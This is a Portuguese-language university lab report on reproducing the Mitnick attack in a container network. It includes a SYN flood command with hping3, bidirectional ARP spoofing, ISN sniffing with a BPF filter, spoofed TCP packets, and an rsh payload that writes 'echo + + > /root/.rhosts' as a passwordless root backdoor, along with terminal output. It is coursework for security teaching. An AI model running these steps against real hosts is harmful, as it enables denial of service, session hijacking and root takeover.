Relatório de desenvolvimento das atividades

Instituto de Computação - Universidade Estadual de Campinas

Allan M. de Souza, Rafael O. Jarczewski

Nome: Randerson Araújo de Lemos
RA: 103897

Descrição de como foi realizado o ataque com prints. Deve ser capaz de replicar o ataque seguindo a sequência de passos utilizada no ambiente disponibilizado.

Detalhe como foi o processo para obtenção do número de sequência (ISN).

O ataque implementado (Ataque Mitnick) explora a relação de confiança baseada em IP do serviço rsh (Remote Shell) entre o Alvo (10.0.2.20) e o Servidor Confiável (10.0.2.30). O objetivo é realizar o sequestro de sessão (IP Spoofing) e o roubo do Número de Sequência Inicial (ISN) para injetar um backdoor no arquivo de autenticação do alvo. O ataque foi automatizado através do script orquestrador `main.py`, executado a partir do contêiner do Atacante (10.0.2.10). A seguir, detalha-se a sequência de passos executada pelo script para replicar o ataque no ambiente:

Passo 0: Preparação e Isolamento do Kernel

Antes de qualquer tráfego forjado ser enviado, o atacante precisa impedir que o seu próprio sistema operacional interfira na conexão.

- **Ação:** Foi inserida uma regra no firewall local usando o comando `iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP`.
- **Motivo:** Como os pacotes forjados não passam pelo stack TCP/IP do kernel do atacante, qualquer resposta do alvo (como um SYN-ACK) seria vista como um pacote órfão. Por padrão (RFC 793), o kernel responderia com um pacote RST (Reset), abortando a conexão. A regra do `iptables` "silencia" o kernel.

Passo 1: Negação de Serviço (SYN Flood) no Servidor Confiável

- **Ação:** Inicialização de uma thread em background executando um ataque de negação de serviço através da ferramenta `hping3` (`hping3 -S -p 514 --flood --rand-source 10.0.2.30`).
- **Motivo:** Se o Servidor Confiável real recebesse respostas do Alvo para uma conexão que ele não iniciou, ele enviaria um pacote RST e destruiria nosso ataque. O SYN flood esgota a fila de conexões pendentes (backlog) do servidor, impedindo-o

de processar ou responder a pacotes inesperados.

Passo 2: Envenenamento de Cache ARP (Man-in-the-Middle)

- **Ação:** Execução do binário `arpspoof` de forma bidirecional no atacante.
- **Motivo:** O atacante informa ao Alvo (10.0.2.20) que o IP do Servidor Confiável (10.0.2.30) está no endereço MAC do Atacante. Simultaneamente, envenena o servidor real para evitar que ele corrija o cache do Alvo via Gratuitous ARP. Isso desvia todo o tráfego do Alvo destinado ao servidor para a interface de rede do Atacante.

Passo 3 e 4: Sniffing e Envio do SYN Falsificado

- **Ação:** Uma thread de captura (Scapy sniff) é iniciada escutando ativamente a rede com um filtro BPF rigoroso. Imediatamente após (cerca de 3 segundos), o script dispara um pacote TCP SYN falsificado, contendo IP de origem 10.0.2.30 e porta de origem 1023.
- **Motivo:** O sniffer deve ser iniciado antes do envio do pacote para evitar *race conditions*. A porta 1023 é usada porque o `rsh` exige que a conexão se origine de portas privilegiadas (<1024). O alvo, acreditando estar falando com o Servidor Confiável, responde com um pacote SYN-ACK.

```
┌──(root㉿f3c86a3a6d2a)-[/app]
└─# python3 main.py
--- Starting Mitnick Attack ---

[+] Blocking outgoing RST packets to prevent kernel interference.
[+] Running: iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
Starting SYN flood attack on 10.0.2.30:514

[Step 1] DoS attack running in the background.
DoS attack started.
[+] Starting bidirectional arpspoof between 10.0.2.20 and 10.0.2.30

[Step 2] Bidirectional ARP spoofing running in the background.

[Step 3] Starting network sniffer...
--- Sniffing for SYN/ACK using Scapy ---
[+] Sniffing with BPF filter: "src host 10.0.2.20 and dst host 10.0.2.30 and tcp port 1023 and (tcp[tcpflags] & (tcp-syn|tcp-ack)) == (tcp-syn|tcp-ack)"

[Step 4] Sending spoofed SYN packet...
--- Sending Spoofed SYN Packet ---
```

Figura 1: Tela do terminal do Atacante mostrando o output do main.py do Passo 1 ao Passo 4.

Passo 5: Conclusão do Handshake e Injeção do Payload

- **Ação:** O Atacante recebe o SYN-ACK e extrai o ISN do Alvo. Para completar o 3-way handshake, o script calcula e envia um pacote ACK válido, seguido de um pacote PSH-ACK contendo o payload.
- **Payload Injetado:** `0\x00root\x00root\x00echo + + \> /root/.rhosts\x00`
- **Motivo:** O arquivo `/root/.rhosts` controla a autenticação sem senha. O comando

`echo + +` sobrescreve este arquivo com curingas globais, instruindo o sistema a permitir que qualquer usuário, de qualquer IP, faça login como root sem precisar de senha.

```
[+] Captured SYN/ACK packet. Target's ISN is: 3475726028
[+] Spoofed SYN sent with ISN: 123456789

[+] Success! Captured Target ISN: 3475726028

--- Completing Handshake and Injecting Payload ---
[+] Spoofed ACK sent (seq=123456790, ack=3475726029). Connection established!
[+] Payload injected: 'echo + + > /root/.rhosts'

[+] Attack payload injected. Check the target's /root/.rhosts file.
```

Figura 2: Tela do terminal mostrando o "Success! Captured Target ISN" e "Attack payload injected".

Passo 6: Validação do Backdoor

Com o ataque finalizado e as threads de isolamento ainda ativas, o acesso pode ser validado abrindo um novo terminal no atacante.

- **Ação:** Execução do comando `rsh 10.0.2.20 echo “Hi”`.

```
[+] Success! Captured Target ISN: 3475726028

--- Completing Handshake and Injecting Payload ---
[+] Spoofed ACK sent (seq=123456790, ack=3475726029). Connection established!
[+] Payload injected: 'echo + + > /root/.rhosts'

[+] Attack payload injected. Check the target's /root/.rhosts file.

Type "exit" to stop background processes and terminate.
exit
[+] Stopping arpspoof processes...

[+] Cleaning up iptables rules...
[+] Running: iptables -D OUTPUT -p tcp --tcp-flags RST RST -j DROP
Stopping DoS attack...
Stopping DoS attack...
DoS attack stopped.

--- Attack Finished ---

┌──(root㉿f3c86a3a6d2a)-[/app]
└─# rsh 10.0.2.20 echo "Hi"
Hi

┌──(root㉿f3c86a3a6d2a)-[/app]
└─#
```

Figura 3: Tela do terminal mostrando a execução bem-sucedida do comando rsh no alvo sem a solicitação de senha.

2. Detalhamento do Processo de Obtenção do ISN (Número de Sequência Inicial)

No ataque original de Kevin Mitnick (1994), realizado em uma WAN (Wide Area Network), o ISN do alvo precisou ser deduzido matematicamente, pois os sistemas operacionais da

época geravam números de sequência de forma previsível. Em ambientes modernos, o kernel Linux gera ISNs de forma criptograficamente aleatória (RFC 6528), tornando a predição inviável. Portanto, em nosso ambiente de rede local (LAN), a obtenção do ISN ocorreu estritamente por interceptação, utilizando as seguintes técnicas combinadas:

A. Desvio Físico Lógico (ARP Spoofing):

A obtenção do ISN só é fisicamente possível porque o Passo 2 envenenou as tabelas ARP do switch virtual e do Alvo. Quando o Alvo gerou seu ISN aleatório e o embutiu no pacote SYN-ACK destinado ao IP 10.0.2.30, a infraestrutura da rede entregou este pacote na Placa de Rede (NIC) do Atacante (10.0.2.10).

B. Interceptação via Filtro BPF (Kernel-Space):

Para capturar o ISN em meio ao "ruído" gerado pelo ataque de negação de serviço (milhares de pacotes do SYN Flood), o processo não utilizou sockets crus no espaço de usuário (User-Space). Em vez disso, a biblioteca Scapy foi configurada para compilar a seguinte expressão lógica e injetá-la como um filtro BPF (Berkeley Packet Filter) diretamente no kernel do Atacante:

- **Snippet de código**

src host 10.0.2.20 and dst host 10.0.2.30 and tcp port 1023 and (tcp[tcpflags] & (tcp-syn|tcp-ack)) == (tcp-syn|tcp-ack)
Esta abordagem garantiu que o kernel descartasse silenciosamente todo o tráfego do DoS e enviasse para o script Python apenas o pacote contendo a resposta do Alvo.

C. Extração e Validação do ISN:

Ao capturar o objeto do pacote, o script acessou o cabeçalho TCP e extraiu a variável correspondente à sequência.

D. O Cálculo Final:

De posse desse ISN roubado, o algoritmo do ataque pôde concluir o sequestro. Para que o Alvo aceitasse a conexão como autêntica, a máquina do atacante gerou o último pacote da via de handshake calculando o *Acknowledgment Number* (Número de Confirmação) exato esperado pelo Alvo:

- `ACK = ISN_Alvo + 1`

A precisão deste cálculo, garantida pela interceptação bem-sucedida do ISN original, é o que torna o pacote de injeção (PSH-ACK) criptograficamente válido do ponto de vista da máquina de estados TCP do Alvo.